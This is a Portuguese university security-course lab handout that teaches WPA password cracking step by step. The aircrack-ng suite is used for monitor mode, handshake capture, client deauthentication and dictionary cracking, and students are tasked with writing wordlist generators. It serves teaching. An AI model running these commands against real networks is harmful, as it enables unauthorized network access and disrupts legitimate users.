Engenharia de Segurança (SSC -0747)

São Carlos, 14 de Abril de 2010

Prática 3 – WPA

1. Introdução

Nesta prática iremos ilustrar como é possível quebrar o WPA através do método Brute Force.

2. Materiais

Utilizaremos os seguintes materiais:

- Notebook com interface Ethernet
- Linux BT4 (Live CD)
- Aircrack

3. Descrição da Prática

Os alunos se dividirão em grupos de 4 pessoas, e cada grupo receberá um notebook. Em seguida anote o número do notebook na folha de presença na frente do nome.

3.1 Iniciando a interface wireless em modo monitor

Primeiramente executaremos o comando abaixo:

- airmon-ng stop wlan0

Em seguida iniciaremos o modo monitor com o comando

- airmon-ng start wlan0

Para monitorarmos apenas o canal 6, usamos o comando

- iwconfig wlan0 channel 6

3.2 Coletando o Handshake

Para quebrarmos a senha WPA precisaremos coletar um handshake da rede.
Iniciaremos o airodump e aguardaremos a autenticação de algum dos usuários.

- airodump-ng –c 6 –-bssid 00:11:22:33:44:55 –w psk mon0

onde os parâmetros são,
-c 6: canal utilizado pelo AP
--bssid 00:11:22:33:44:55: é o MAC do Access Point

No instante que o programa executar a tela exibida será similar a seguinte:

```
CH  9 ][ Elapsed: 4 s ][ 2007-03-24 17:51
```

```
  BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID

  00:14:6C:7E:40:80   39 100       51        0    0   9  54  WPA2 CCMP   PSK  teddy

  BSSID              STATION            PWR  Lost  Packets  Probes
```

Quando algum usuário logar o programa indicará que coletou um handshake e a tela será a seguinte:

```
CH  9 ][ Elapsed: 4 s ][ 2007-03-24 16:58 ][ WPA handshake: 00:14:6C:7E:40:80

  BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID

  00:14:6C:7E:40:80   39 100       51      116   14   9  54  WPA2 CCMP   PSK  teddy

  BSSID              STATION            PWR  Lost  Packets  Probes

  00:14:6C:7E:40:80  00:0F:B5:FD:FB:C2   35     0      116
```

3.3 Deauthentication

Para forçar o usuário a se reconectar no AP para capturar o handshake utilizaremos o aireplay.

```
aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:FD:FB:C2 ath0
```

-0 indica que o usuário sera forçado a se reconectar
1 é a quantidade de requisições que será enviada
-a 00:14:6C:7E:40:80 é o MAC do AP
-c 00:0F:B5:FD:FB:C2 é o mac do cliente

3.4 Quebrando o WPA

Utilizaremos o aircrack e uma lista de senhas (word list). O comando é

- aircrack-ng –w password.lst –b 00:14:6C:7E:40:80 psk*.cap

Vale ressaltar que só funciona se a senha estiver na word list. Na prática quebraremos com uma word list fornecida pelo estagiário PAE.

4. Tarefas

1) Gerar uma word list para senhas de 8 digitos que representam datas. Exemplo: 01/02/1980, 02/02/1980, ..., etc. Utilize a linguagem de programação de sua preferência e gere datas entre 01/01/1900 até o dia de hoje (14/04/2010).

2) Gerar uma word list formada por combinações de letras e números que totalizem 8 dígitos.

O código-fonte será o relatório desta prática. Não é necessário entregar a word list.